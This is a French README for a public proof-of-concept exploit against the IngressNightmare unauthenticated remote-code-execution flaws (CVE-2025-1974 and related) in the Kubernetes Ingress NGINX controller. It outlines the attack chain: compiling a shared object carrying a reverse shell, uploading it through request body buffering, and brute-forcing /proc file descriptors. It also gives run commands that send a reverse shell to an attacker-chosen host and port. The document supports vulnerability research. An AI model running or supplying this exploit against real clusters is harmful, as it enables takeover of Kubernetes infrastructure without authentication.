
PoC pour RCE sur Ingress
Ce projet fournit un exploit ciblant des vulnérabilités critiques d'exécution de code à distance (RCE) non authentifiée dans le contrôleur Ingress NGINX pour Kubernetes, collectivement désignées sous le nom d'IngressNightmare.
Dans la recherche originale, l'équipe Wiz n'a pas fourni de PoC ni d'exploit fonctionnel, nous avons donc décidé de créer le nôtre et de le partager avec la communauté.
Le contrôleur Ingress NGINX est un composant largement utilisé dans les environnements Kubernetes, gérant l'accès externe aux services au sein des clusters. De récentes vulnérabilités (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) ont mis en évidence des risques de sécurité critiques.
L'exploit suit les étapes principales suivantes :
Générer l'objet partagé (utilisé par la propriété ssl_engine injectée) :
Compile une bibliothèque .so (evil_engine.so) contenant une charge utile de shell inversé.
Téléverser l'objet partagé :
Envoie l'objet partagé compilé au pod ingress, en exploitant le traitement des requêtes (tampons du corps client). L'astuce consiste à envoyer un Content-Length différent au serveur pour garder la connexion ouverte.
Forcer le fd par brute force : Itère sur les identifiants de processus et les descripteurs de fichiers (/proc/{pid}/fd/{fd}) pour identifier le descripteur correct référençant l'objet téléversé.
Utilisation
Prérequis :
Exécuter l'exploit :
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port)
Ex. : python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
Parfois, le admission webhook se trouve dans un namespace différent. Dans ce cas, vous devez préciser le namespace à la fin, comme kube-system, default ou ingress-nginx.
<ingress_url> : URL Ingress cible (publique)<admission_webhook_url> : URL du webhook d'admission (webhook interne)[attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port) : votre hôte et port pour le shell inverséAvertissement
Cet exploit est fourni strictement à des fins éducatives et de recherche. Toute utilisation non autorisée de cet outil contre des cibles sans permission explicite est interdite. Hakai Security et QuimeraX déclinent toute responsabilité en cas de mauvaise utilisation de cet outil.